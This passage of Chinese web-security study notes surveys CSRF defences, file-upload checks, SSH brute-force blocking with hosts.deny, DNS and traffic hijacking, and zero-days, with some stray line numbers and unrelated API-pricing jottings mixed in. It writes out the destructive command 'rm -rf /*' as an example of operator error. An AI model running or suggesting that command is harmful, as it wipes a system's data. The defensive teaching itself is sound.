大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

# 防御CSRF攻击策略

  1. 验证HTTP Referer字段
  2. 正确使用GET
  3. 在请求地址中添加token并验证
  4. 在HTTP头中自定义属性并验证。
  5. 表单伪随机数

# 验证HTTPReferer字段

Referer 是HTTP协议定义的一个头字段,它记录了该HTTP请求的来源地址。通过Referer就可以简单的区分出这次请求是来自哪里,并做到基本的防范。 但Referer毕竟是由请求者发起的,如果你用的是IE6浏览器(鄙视下IE),依然是可以伪造的。

# 正确使用GET

GET常用在查看,列举,展示等不需要改变资源属性的时候。因为GET方式参数是直接呈现在url中的,很方便,但也很不安全。所以不要以GET方式开放不安全的接口。

# 在请求地址中添加token并验证

在正确使用GET 的前提下,对于非GET请求,如POST,可以用在创建、修改、删除资源或者做其他一些相对敏感的事情。而且需要为每一个用户生成一个唯一的Token存放在Cookie或LocalStorage里面,并附带在Post请求中。但是由于XSS可以轻易的获取用户的Cookie或Local Storage,这种方式也不是十分的安全。

# 在HTTP头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上csrftoken这个 HTTP 头属性,并把 token 值放入其中。而且,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心token 会透过 Referer 泄露到其他网站中去。

# 表单伪随机数

不同的表单包含一个不同的伪随机值。这种做法,其实在一些知名的开源WEB框架里面早就有了,如:PHP的Drupal,Python的Flask,只是国人安全意思太薄弱,太后知后觉了。伪随机数的原理也很简单:

  1. 当页面表单生成的时候由后端服务生成伪随机数放置在表单的隐藏域里面,并在后端缓存伪随机数。
  2. 表单提交的时候后端服务器验证伪随机数的正确性和时效性,删除缓存的伪随机数。

这样做不仅可以避免CSRF攻击,同时可以避免表单的重复提交。

# 5.文件上传漏洞

介绍:倘若web网站没有对文件类型进行严格的校验,导致可执行文件上传到了服务器,恶意程序就会执行。

防御:客户端检测 :程序员一般使用 JavaScript 来拒绝非法文件上传。

执行文件 当成pngjpg

服务器端检测:

1)白名单与黑名单验证:定义不允许或允许上传的文件扩展名;

2)MIME验证:php 中通过 $_FILE['file']['type'] 来检验;

3)目录验证:在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中。

# SSH暴力破解

1.修改ssh默认登录端口22和mysql默认端口3306为其他不常用端口,如34392等;

2.编写脚本监测/var/log/secure文件(该文件是linux系统的登录日志),如果有登录失败的IP,则将该IP添加至/etc/hosts.deny文件(该文件是tcpd服务器的配置文件,tcpd服务器可以控制外部IP对本机服务的访问。tcpd的配置文件有两个:hosts.allow和hosts.deny,通过它们可以允许或者拒绝某个ip或者ip段的客户访问linux的某项服务。具体可参考:http://purpen.iteye.com/blog/1135342)

手动封禁ip

/etc/hosts.deny
sshd: 113.92.153.163

/etc/init.d/denyhosts restart
1
2
3
4

3.禁止用户使用密码登录,使用密钥登录

# 软件漏洞攻击

系统级别漏洞

常用的CMS出现的漏洞,Diszcus phpcms Thinkphp wordpress

密切注意第三方代码,及时打补丁。

# 域名劫持、DNS劫持

# 域名劫持

页面的右下角被插入了广告。 流量劫持总体来说属于中间人攻击(Man-in-the-Middle Attack,MITM)的一种,本质上攻击者在通信两端之间对通信内容进行嗅探和篡改,以达到插入数据和获取关键信息的目的。

使用HTTPS防止流量劫持

# DNS劫持

DNS这个环节可以被太多因素影响,所以不少利益相关者都会在这里面做手脚。例如,DNS劫持就是非常常见的广告投放手段,你打开百度或者输入你正确的目标域名网址,整个网页却被强制跳转到XX娱乐城,这就是典型的DNS劫持。

DNS劫持解决办法?怎么防止DNS劫持? (opens new window)

https只能解决http流量劫持,对于dns劫持 https无效 经过测试发现域名是直接被劫持 解析到劫持的服务器ip去,向运营商、工信部投诉。

手动修改DNS服务器地址:

XP:网上邻居---->网络连接--->本地连接---->属性

windows7: 网络和共享中心---->本地连接---->属性

首选DNS服务器(P)空格处分别填上114.114.114.114
备用DNS服务器(A)空格处分别填上8.8.4.4

1. 电信:114.114.114.114
2. 百度: 180.76.76.76                                          
3. 阿里巴巴: 223.5.5.5 223.6.6.6        

1
2
3
4
5
6
7
8
9
10
11

# 人为操作失误

制定严格操作流程,防止出现操作失误

rm -rf /*
1

# web开发工程师要求

登录、注册接口 
短信接口 5-10万 50% 5万 0.03
身份证认证接口 3分  0.28
必须要有安全验证 验证码+鉴权

大型活动之前,提前cdn预热,redis缓存
热点数据加缓存

apk下载连接地址,有鉴权

1
2
3
4
5
6
7
8
9
10

# 其他

# 0day漏洞是什么?

0day漏洞,又称“零日漏洞”(zero-day),是已经被发现(有可能未被公开),而官方还没有相关补丁的漏洞。通俗地讲就是,除了漏洞发现者,没有其他的人知道这个漏洞的存在,并且可以有效地加以利用,发起的攻击往往具有很大的突发性与破坏性。

# 秒换挂机宝与动态IP

原理是网络运营商公网的IP分配方式,比如Modem、ISDN、ADSL、有线宽频、小区宽频之类的宽带业务就是动态的,由你拔号上去后,服务器临时分配你一个IP地址用于上网,断线后这个IP地址就收回了,下次再上去,又会由服务器临时分配一个IP地址给你,这就是动态IP。

所谓的秒换在于产商的硬件与优化程度通过服务器进程线路实现秒换ip 效果,打开某一个程序或浏览器 实现单窗口单ip,在于承包运营商的优化技术,专业技术上实现秒换。如果有的地区VPS没有办法秒换是在于承包商的技术问题,比较好的秒换有 等拨号VPS。 由于其主机对外开放了诸如WWW 、FTP 、E-mail等访问服务,通常要对外公布一个固定的IP地址,以方便用户访问。当然,数字IP不便记忆和识别,人们更习惯于通过域名来访问主机,而域名实际上仍然需要被域名服务器(DNS )翻译为IP地址!所以为了IP资源不浪费全世界一共有43亿个IP按人分配资源就很少了,所以运营商就形成了两种模式公网IP和私有IP,公网IP可以与网络公司共享运营,增加运营商的额外利润。有需求就有市场,秒换最好找一些有试用的厂家可以对比选择!